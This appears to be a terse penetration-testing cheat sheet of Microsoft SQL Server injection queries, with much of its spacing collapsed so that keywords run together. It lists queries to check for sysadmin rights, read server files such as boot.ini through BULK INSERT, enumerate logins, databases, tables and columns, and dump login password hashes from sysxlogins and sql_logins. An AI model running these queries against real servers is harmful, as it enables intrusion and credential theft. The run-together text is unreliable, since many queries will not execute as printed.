# to see if we are sysadmin# returns 1SELECTIS_SRVROLEMEMBER ('sysadmin')SELECTIS_SRVROLEMEMBER('sysadmin','sa')SELECTnameFROMmaster..sysloginsWHEREsysadmin='1'
# comments--/*<blah>*/# hostname@@servernamehost_name()# version@@version# read-file# [C:\boot.ini] OR [C:\\boot.ini]CREATE TABLE kashz (linevarchar(8000));BULKINSERTkashzFROM'<FILE>';DROPTABLEkashz;# usersuser_name()system_useruser [user()]|SELECTnameFROMmaster..syslogins# password (SHA-1)# master.dbo.fn_varbintohexstr(password) => pass to hex-str# master.sys.fn_varbintohexstr(password_hash) => pass to hex-str|SELECTname,passwordFROMmaster..sysxlogins|SELECTname,password_hashFROMmaster.sys.sql_logins# databasesDB_NAME()| SELECT name FROM master.sys.databases| SELECT name FROM master.dbo.sysdatabases| SELECT name FROM master ..sysdatabases| EXEC sp_databasesSELECT DB_NAME(N) # for N:1-n# tablesSELECTnameFROM<DB>..sysobjectsWHERExtype='U'# colsSELECTnameFROMsyscolumnsWHEREid= (SELECT idFROMsysobjectsWHEREname='<TABLE>')SELECT <DB>..syscolumns.name, TYPE_NAME(<DB>..syscolumns.xtype) FROM <DB>..syscolumns, <DB>..sysobjects WHERE <DB>..syscolumns.id=<DB>..sysobjects.id AND <DB>..sysobjects.name='<TABLE>'
# 9th rowSELECTTOP1nameFROM (SELECT TOP9nameFROMmaster..sysloginsORDERBYnameASC) ORDER BY name DESC